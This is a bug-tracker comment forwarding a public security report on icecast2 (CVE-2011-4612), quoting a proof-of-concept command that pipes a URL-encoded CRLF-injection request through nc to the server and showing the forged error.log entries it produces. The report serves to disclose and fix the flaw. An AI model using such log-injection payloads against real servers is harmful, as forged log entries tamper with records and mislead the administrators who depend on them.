Comment 13 for bug 894782

Your friendly security team received the following report via oss-security.
Please respond ASAP.
The issue is public.

CVE-2011-4612

It was found that remote users could inject newlines in the error.log of icecast, therefore forging log entries

Citing https://launchpad.net/bugs/894782:

Running this command against an icecast2 running on 127.0.0.1...

echo -ne "GET /non-existent"'"'"%20No%20such%20file%20or%20directory%0d%
0a[1970-01-01%20%2000:00:00]%20PHUN%20I'm%20feeling%20phunny%0d%
0a["`date "+%Y-%m-%d%%20%%20%H:%M:%S"`"]%20WARN%
20fserve/fserve_client_create%20req%20for%20file%
20"'"'"/usr/share/icecast2/web/ HTTP/1.0\n\n" | nc -vv 127.0.0.1 8000
> /dev/null

...causes the following to be written to /var/log/icecast2/error.log:
[2011-11-25 15:37:31] INFO fserve/fserve_client_create checking for
file /non-existent" No such file or directory
[1970-01-01 00:00:00] PHUN I'm feeling phunny
..."